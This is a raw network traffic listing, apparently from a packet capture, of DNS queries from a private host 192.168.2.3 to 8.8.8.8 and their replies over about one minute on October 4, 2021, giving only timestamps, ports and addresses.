Oct 4, 2021 16:01:55.120716095 CEST	60943	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:55.138457060 CEST	53	60943	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:55.481142998 CEST	55146	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:55.499788046 CEST	53	55146	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:55.504232883 CEST	60457	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:55.522569895 CEST	53	60457	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:55.857408047 CEST	49531	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:55.876173019 CEST	53	49531	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:55.914511919 CEST	53721	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:55.933381081 CEST	53	53721	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:56.248712063 CEST	58302	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:56.267193079 CEST	53	58302	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:56.272941113 CEST	49685	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:56.290941954 CEST	53	49685	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:56.856524944 CEST	50324	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:56.876588106 CEST	53	50324	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:56.933324099 CEST	52683	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:56.951416016 CEST	53	52683	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:57.092859983 CEST	56443	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:57.111093998 CEST	53	56443	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:57.117593050 CEST	60630	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:57.131793976 CEST	53706	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:57.135504961 CEST	53	60630	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:57.149502039 CEST	53	53706	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:57.794117928 CEST	61885	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:57.810769081 CEST	53	61885	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:57.814960003 CEST	58013	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:57.831372976 CEST	53	58013	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:57.970532894 CEST	51603	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:57.988835096 CEST	53	51603	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:57.993295908 CEST	60552	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:58.011667967 CEST	53	60552	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:58.546086073 CEST	50273	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:58.561849117 CEST	53	50273	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:58.566200018 CEST	64267	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:58.584804058 CEST	53	64267	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:58.700192928 CEST	57996	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:58.715959072 CEST	53	57996	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:58.721126080 CEST	56242	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:58.739310980 CEST	53	56242	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:59.403099060 CEST	65186	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:59.421554089 CEST	53	65186	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:59.426712990 CEST	56238	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:59.444588900 CEST	53	56238	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:59.559971094 CEST	54812	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:59.575865984 CEST	53	54812	8.8.8.8	192.168.2.3
Oct 4, 2021 16:01:59.582199097 CEST	54935	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:01:59.600392103 CEST	53	54935	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:00.287875891 CEST	57786	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:00.306180954 CEST	53	57786	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:00.358628988 CEST	60787	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:00.376662970 CEST	53	60787	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:00.381278992 CEST	54157	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:00.396392107 CEST	60606	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:00.399732113 CEST	53	54157	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:00.414664984 CEST	53	60606	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:00.419668913 CEST	56680	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:00.437509060 CEST	53	56680	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:01.265764952 CEST	56584	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:01.277416945 CEST	49656	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:01.281766891 CEST	53	56584	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:01.286087990 CEST	55375	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:01.295816898 CEST	53	49656	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:01.304243088 CEST	53	55375	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:01.322959900 CEST	57235	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:01.338921070 CEST	53	57235	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:02.170367956 CEST	61817	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:02.186456919 CEST	53	61817	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:02.191210985 CEST	57758	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:02.209405899 CEST	53	57758	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:02.213550091 CEST	49351	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:02.230065107 CEST	53	49351	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:02.234019995 CEST	56738	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:02.252439022 CEST	53	56738	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:02.943885088 CEST	64602	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:02.962095976 CEST	53	64602	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:02.968983889 CEST	57403	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:02.987164974 CEST	53	57403	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:03.143951893 CEST	59453	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:03.164200068 CEST	53	59453	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:03.169684887 CEST	57108	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:03.187449932 CEST	53	57108	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:03.918672085 CEST	50714	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:03.935091972 CEST	53	50714	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:03.940854073 CEST	51576	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:03.959322929 CEST	53	51576	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:04.089636087 CEST	65346	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:04.108021021 CEST	53	65346	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:04.112766981 CEST	64046	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:04.130484104 CEST	53	64046	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:04.700774908 CEST	64707	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:04.716685057 CEST	53	64707	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:04.723174095 CEST	64601	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:04.741679907 CEST	53	64601	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:04.944722891 CEST	52278	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:04.963479996 CEST	53	52278	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:04.969255924 CEST	59509	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:04.988914013 CEST	53	59509	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:05.506464005 CEST	56231	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:05.522789001 CEST	53	56231	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:05.527837038 CEST	49534	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:05.546030045 CEST	53	49534	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:05.819294930 CEST	50702	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:05.837645054 CEST	53	50702	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:05.846352100 CEST	50516	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:05.865601063 CEST	53	50516	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:06.400383949 CEST	58821	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:06.418905020 CEST	53	58821	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:06.426444054 CEST	61448	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:06.444749117 CEST	53	61448	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:06.713049889 CEST	54478	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:06.736917973 CEST	53	54478	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:06.744029045 CEST	51772	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:06.759836912 CEST	53	51772	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:07.272833109 CEST	50699	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:07.290956020 CEST	53	50699	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:07.760298967 CEST	58529	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:07.779048920 CEST	53	58529	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:07.807717085 CEST	58943	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:07.824170113 CEST	53	58943	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:08.123902082 CEST	57169	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:08.140647888 CEST	53	57169	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:08.617960930 CEST	49171	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:08.636800051 CEST	53	49171	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:08.887145996 CEST	51588	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:08.905193090 CEST	53	51588	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:09.562819958 CEST	55545	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:09.581124067 CEST	53	55545	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:09.629757881 CEST	50447	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:09.649693966 CEST	53	50447	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:11.344497919 CEST	51866	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:11.365058899 CEST	53	51866	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:11.386147022 CEST	57704	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:11.408931971 CEST	53	57704	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:13.366156101 CEST	64409	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:13.384447098 CEST	53	64409	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:13.398335934 CEST	51794	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:13.416625023 CEST	53	51794	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:14.246218920 CEST	56119	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:14.256041050 CEST	55788	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:14.265199900 CEST	53	56119	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:14.275846004 CEST	53	55788	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:15.077099085 CEST	52375	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:15.092937946 CEST	53	52375	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:15.295310020 CEST	50787	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:15.313065052 CEST	53	50787	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:15.925231934 CEST	54392	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:15.943135023 CEST	53	54392	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:16.163446903 CEST	62397	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:16.181984901 CEST	53	62397	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:16.850497961 CEST	64280	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:16.868588924 CEST	53	64280	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:16.965142965 CEST	61712	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:16.983612061 CEST	53	61712	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:17.133064985 CEST	61731	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:17.149703979 CEST	53	61731	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:17.730196953 CEST	51761	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:17.748272896 CEST	53	51761	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:17.750071049 CEST	52919	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:17.767867088 CEST	53	52919	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:18.577044010 CEST	64195	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:18.595208883 CEST	63382	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:18.595433950 CEST	53	64195	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:18.613873005 CEST	53	63382	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:19.412384033 CEST	54814	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:19.412430048 CEST	62566	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:19.430831909 CEST	53	54814	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:19.430859089 CEST	53	62566	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:20.356241941 CEST	65138	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:20.377029896 CEST	53	65138	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:20.424978018 CEST	49617	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:20.445765972 CEST	53	49617	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:21.183365107 CEST	59658	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:21.201236963 CEST	53	59658	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:21.326242924 CEST	56697	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:21.344070911 CEST	53	56697	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:21.932022095 CEST	60483	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:21.949906111 CEST	53	60483	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:22.340367079 CEST	60214	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:22.358967066 CEST	53	60214	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:22.954401970 CEST	64289	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:22.970640898 CEST	53	64289	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:23.334091902 CEST	58467	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:23.355957031 CEST	53	58467	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:23.710144997 CEST	51773	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:23.726246119 CEST	53	51773	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:24.199032068 CEST	49177	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:24.219238043 CEST	53	49177	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:25.184948921 CEST	53930	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:25.204855919 CEST	53	53930	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:26.112854958 CEST	62678	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:26.130981922 CEST	53	62678	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:26.958607912 CEST	61075	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:26.979904890 CEST	53	61075	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:27.474061012 CEST	65354	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:27.492974043 CEST	53	65354	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:27.782985926 CEST	60230	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:27.810648918 CEST	53	60230	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:27.864545107 CEST	59549	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:27.883332014 CEST	53	59549	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:28.265805006 CEST	61071	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:28.283639908 CEST	53	61071	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:28.645296097 CEST	51674	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:28.664433002 CEST	53	51674	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:29.100389957 CEST	65225	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:29.216454983 CEST	53	65225	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:29.478168011 CEST	57499	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:29.498852015 CEST	53	57499	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:30.030090094 CEST	55433	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:30.148545980 CEST	53	55433	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:30.567969084 CEST	53101	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:30.598589897 CEST	53	53101	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:30.908173084 CEST	62906	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:30.926887989 CEST	53	62906	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:31.407205105 CEST	63428	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:31.426640987 CEST	53	63428	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:31.763186932 CEST	49737	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:31.781472921 CEST	53	49737	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:32.535864115 CEST	55136	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:32.567293882 CEST	53	55136	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:33.498739958 CEST	61237	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:33.517651081 CEST	53	61237	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:34.281177998 CEST	63622	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:34.297772884 CEST	53	63622	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:35.149389029 CEST	58316	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:35.166729927 CEST	53	58316	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:35.432785988 CEST	60104	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:35.451786041 CEST	53	60104	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:36.058047056 CEST	64008	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:36.079058886 CEST	53	64008	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:36.279180050 CEST	60324	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:36.299082041 CEST	53	60324	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:36.932380915 CEST	54282	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:36.954176903 CEST	53	54282	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:37.036303997 CEST	56504	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:37.055136919 CEST	53	56504	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:37.742223024 CEST	63054	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:37.760543108 CEST	53	63054	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:37.963150024 CEST	63212	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:37.983242035 CEST	53	63212	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:38.638359070 CEST	64398	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:38.666436911 CEST	53	64398	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:38.682876110 CEST	50422	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:38.701226950 CEST	53	50422	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:38.929816008 CEST	56250	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:38.948369980 CEST	53	56250	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:39.845979929 CEST	53417	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:39.864387035 CEST	53	53417	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:40.034272909 CEST	61716	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:40.052802086 CEST	53	61716	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:40.590502977 CEST	64505	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:40.608272076 CEST	53	64505	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:40.783288002 CEST	61839	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:40.801426888 CEST	53	61839	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:41.731348038 CEST	61458	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:41.753556013 CEST	53	61458	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:41.798031092 CEST	57723	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:41.819552898 CEST	53	57723	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:42.682384968 CEST	56067	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:42.694417953 CEST	57669	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:42.701196909 CEST	53	56067	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:42.712272882 CEST	53	57669	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:43.487390041 CEST	60025	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:43.504336119 CEST	53	60025	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:43.579982042 CEST	63559	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:43.598371029 CEST	53	63559	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:44.286205053 CEST	55870	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:44.304447889 CEST	53	55870	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:44.930054903 CEST	52734	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:44.945947886 CEST	53	52734	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:45.108123064 CEST	58906	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:45.126806974 CEST	53	58906	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:45.887391090 CEST	59737	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:45.900413990 CEST	65461	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:45.905251980 CEST	53	59737	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:45.918484926 CEST	53	65461	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:46.737272978 CEST	64244	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:46.755429029 CEST	53	64244	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:46.762088060 CEST	50625	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:46.780164957 CEST	53	50625	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:47.305874109 CEST	62491	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:47.391170979 CEST	53	62491	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:47.487030983 CEST	52389	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:47.505580902 CEST	53	52389	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:47.732155085 CEST	62319	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:47.755598068 CEST	53	62319	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:48.285020113 CEST	60854	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:48.303590059 CEST	53	60854	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:48.755171061 CEST	65140	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:48.771759033 CEST	53	65140	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:49.057843924 CEST	58836	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:49.076230049 CEST	53	58836	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:49.670322895 CEST	54193	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:49.686939955 CEST	53	54193	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:49.963195086 CEST	49661	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:49.981693029 CEST	53	49661	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:50.564393044 CEST	57611	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:50.583095074 CEST	53	57611	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:50.785248995 CEST	55815	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:50.804745913 CEST	53	55815	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:51.527468920 CEST	52459	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:51.544284105 CEST	49983	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:51.547482967 CEST	53	52459	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:51.564084053 CEST	53	49983	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:52.386730909 CEST	64759	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:52.402848959 CEST	53	64759	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:52.502444983 CEST	59230	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:52.521255970 CEST	53	59230	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:53.201955080 CEST	50967	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:53.220228910 CEST	53	50967	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:53.311134100 CEST	65215	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:53.329678059 CEST	53	65215	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:54.090544939 CEST	58502	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:54.108623981 CEST	53	58502	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:54.136131048 CEST	55294	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:54.153918028 CEST	53	55294	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:54.885348082 CEST	55473	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:54.903601885 CEST	53	55473	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:55.140501022 CEST	57811	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:55.157013893 CEST	53	57811	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:55.875610113 CEST	51258	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:55.894351006 CEST	53	51258	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:56.181411982 CEST	49401	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:56.199194908 CEST	53	49401	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:56.701841116 CEST	50443	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:56.718534946 CEST	53	50443	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:56.983448982 CEST	62113	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:57.001499891 CEST	53	62113	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:57.653944969 CEST	54198	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:57.678498983 CEST	53	54198	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:58.028167963 CEST	52006	53	192.168.2.3	8.8.8.8
Oct 4, 2021 16:02:58.045990944 CEST	53	52006	8.8.8.8	192.168.2.3
Oct 4, 2021 16:02:58.468672037 CEST	64216	53	192.168.2.3	8.8.8.8
